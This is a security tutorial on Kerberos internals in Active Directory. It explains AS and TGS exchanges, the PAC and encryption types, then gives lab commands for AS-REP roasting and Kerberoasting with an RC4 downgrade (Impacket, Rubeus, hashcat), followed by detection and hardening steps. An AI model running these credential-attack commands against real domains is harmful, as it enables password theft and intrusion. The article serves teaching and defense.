Inside Kerberos: A Deep Dive into the Protocol Internals

Legal & Ethical Disclaimer. This article is for education and authorized security testing only. Run these commands exclusively against systems you own or have explicit, written permission to test. Unauthorized access to Active Directory environments is illegal in virtually every jurisdiction. You are responsible for staying within the scope of your engagement.

Introduction / Overview

Almost every Active Directory attack — Kerberoasting, AS-REP roasting, Pass-the-Ticket, Golden/Silver Tickets, delegation abuse — is really an abuse of a normal Kerberos message exchange. If you understand the wire-level structure of AS-REQ, TGS-REQ, the Privilege Attribute Certificate (PAC), and the encryption types (etype) that protect each blob, the offensive techniques stop feeling like magic and become obvious consequences of the design.

In this article we walk the protocol from the first authentication packet to a fully usable service ticket, decode what each field actually contains, and explain why RC4 vs AES is the single most important encryption decision in a domain. We finish with a Blue Team section that gives detection and hardening equal weight.

How it works / Background

Kerberos in AD is RFC 4120 plus Microsoft's [MS-PAC] and [MS-KILE] extensions. Three parties matter: the client, the KDC (the Domain Controller, running both the Authentication Service and the Ticket-Granting Service), and the service (identified by an SPN).

The exchange has two phases:

1. AS exchange (get a TGT). The client sends an AS-REQ. With pre-authentication enabled (the default), it includes a PA-ENC-TIMESTAMP: the current timestamp encrypted with the user's long-term key, which is derived from the password. The KDC decrypts it to prove the client knows the password, then returns an AS-REP containing a TGT encrypted with the krbtgt account's key, plus a session key encrypted with the user's key.

2. TGS exchange (get a service ticket). The client sends a TGS-REQ presenting the TGT and the SPN it wants. The KDC validates the TGT and returns a TGS-REP containing a service ticket encrypted with the target service account's long-term key.

The critical insight: a ticket is encrypted with the target principal's key, not the requester's. That is exactly why Kerberoasting works — any authenticated user can request a service ticket for any SPN and crack it offline.

The PAC

Inside every ticket is a PAC: a Microsoft-specific structure holding the user's SID, group memberships, and logon info. The service uses it for authorization without querying the DC. The PAC carries two signatures — the Server Signature (keyed with the service's key) and the KDC Signature (keyed with krbtgt). The infamous CVE-2021-42287 / CVE-2021-42278 (sAMAccountName spoofing, "noPac") and CVE-2022-37967 PAC signature flaws both abused weaknesses in how these structures were validated.

Encryption types

Each ticket and key is tagged with an etype number:

RC4 (etype 23) is the attacker's friend. Because the RC4 key is simply the NT hash, a Kerberoasted RC4 ticket cracks orders of magnitude faster than an AES one, and Silver/Golden Tickets can be forged directly from an NT hash with no PBKDF2 work. Attackers frequently downgrade requests to RC4 by specifying --etype 23 or /rc4.

Prerequisites / Lab setup

• A lab AD domain (e.g. CORP.LAB) — never production.
• A non-privileged domain user's credentials.
• Impacket, Rubeus, and klist / wireshark for inspection.

Attack walkthrough / PoC

1. Capture and inspect an AS-REQ

From a Linux attacker box, request a TGT with Impacket while watching the wire:

# Request a TGT (AS exchange) and save it as a .ccache
getTGT.py -dc-ip 10.0.0.10 CORP.LAB/jdoe:'Passw0rd!'
export KRB5CCNAME=jdoe.ccache
klist

In Wireshark, filter on kerberos and you will see the AS-REQ with padata-type: PA-ENC-TIMESTAMP (2) and the AS-REP containing the krbtgt-encrypted ticket. Note the etype list the client advertises — that ordering is what a downgrade attack manipulates.

2. AS-REP roasting (no pre-auth)

If an account has DONT_REQUIRE_PREAUTH set, the KDC returns an AS-REP without verifying the timestamp, handing you a crackable blob:

GetNPUsers.py -dc-ip 10.0.0.10 -usersfile users.txt -format hashcat -outputfile asrep.txt CORP.LAB/
hashcat -m 18200 asrep.txt rockyou.txt

3. TGS-REQ and Kerberoasting (force RC4)

Now request service tickets for accounts with an SPN, explicitly forcing RC4 to get the fastest-cracking output:

GetUserSPNs.py -request -dc-ip 10.0.0.10 CORP.LAB/jdoe:'Passw0rd!' -outputfile spns.txt
# Crack RC4 (etype 23) service tickets
hashcat -m 13100 spns.txt rockyou.txt

With Rubeus on Windows, the downgrade is explicit:

# /rc4opsec asks only for accounts that still support RC4
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt
# Inspect raw tickets and their etypes already in memory
Rubeus.exe klist

4. Why the etype matters

The same SPN cracked as AES256 uses hashcat -m 19700, which is dramatically slower. Forcing etype 23 is purely an efficiency play — and a noisy one, which is exactly what defenders should hunt for.

Mermaid diagram

Text fallback: Client proves its password to the KDC to get a TGT, presents that TGT to request a service ticket, then presents the service ticket (carrying the PAC) to the service.

Detection & Defense (Blue Team)

Defense matters as much as the attack — most of these techniques are detectable in standard Windows logs.

1. Hunt for RC4 downgrades. Service-ticket requests are logged in Event ID 4769 (and TGT requests in 4768). The field Ticket Encryption Type of 0x17 (23 = RC4) on accounts that support AES is a strong Kerberoasting indicator. A single account suddenly requesting many SPNs is a classic signature.

# Surface RC4 (0x17) service-ticket requests on a DC
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} |
  Where-Object { $_.Message -match 'Ticket Encryption Type:\s+0x17' } |
  Select-Object TimeCreated, @{n='Account';e={($_ .Message -split "`n" | Select-String 'Account Name')}}

2. Kill RC4 entirely. Configure accounts to only support AES (msDS-SupportedEncryptionTypes = 0x18) and disable RC4 at the policy level:

# Per-account: require AES128 + AES256 only
Set-ADUser svc_sql -KerberosEncryptionType AES128,AES256

Use the GPO "Network security: Configure encryption types allowed for Kerberos" to remove RC4_HMAC_MD5. Note that fully removing RC4 was hardened by Microsoft's November 2022 updates tied to CVE-2022-37966; test before enforcing.

3. Patch the PAC and noPac flaws. Ensure DCs have the November 2021 (CVE-2021-42278/42287) and the 2022 PAC-signature (CVE-2022-37967) updates, and complete the enforcement phases Microsoft published for KB5008380 and KB5020805.

4. Strong service-account hygiene. Kerberoasting only yields a password if the password is crackable. Use 25+ character random passwords or Group Managed Service Accounts (gMSA), whose 240-byte machine-managed passwords are effectively uncrackable:

New-ADServiceAccount -Name gmsa_sql -DNSHostName sql01.corp.lab `
  -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers"

5. Honeytokens & AS-REP hygiene. Create a fake SPN account (a "Kerberoast honeypot") that no legitimate service ever queries — any 4769 for it is high-fidelity. Audit for DONT_REQUIRE_PREAUTH to eliminate AS-REP roasting targets:

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol

See also Kerberoasting: The Complete Guide, AS-REP Roasting Explained, and Golden and Silver Ticket Attacks for the techniques that build directly on these internals.

Conclusion

Kerberos is not broken — but its design (tickets encrypted with the target's long-term key, legacy RC4 support, and a PAC that services trust blindly) creates predictable abuse paths. Once you can read an AS-REQ and a TGS-REP on the wire and reason about which key protects which blob, every named attack becomes a small variation on the same theme. Defenders win by removing RC4, patching the PAC flaws, and making service-account passwords uncrackable.

References

• MITRE ATT&CK — Kerberoasting T1558.003, AS-REP Roasting T1558.004: https://attack.mitre.org/techniques/T1558/
• RFC 4120 — The Kerberos Network Authentication Service (V5): https://www.rfc-editor.org/rfc/rfc4120
• Microsoft [MS-PAC] and [MS-KILE] open specifications: https://learn.microsoft.com/openspecs/windows_protocols/ms-pac/
• HackTricks — Kerberos & Active Directory: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
• Microsoft KB5008380 / KB5020805 (PAC & noPac hardening): https://support.microsoft.com/
• GhostPack Rubeus & Fortra Impacket project repositories on GitHub.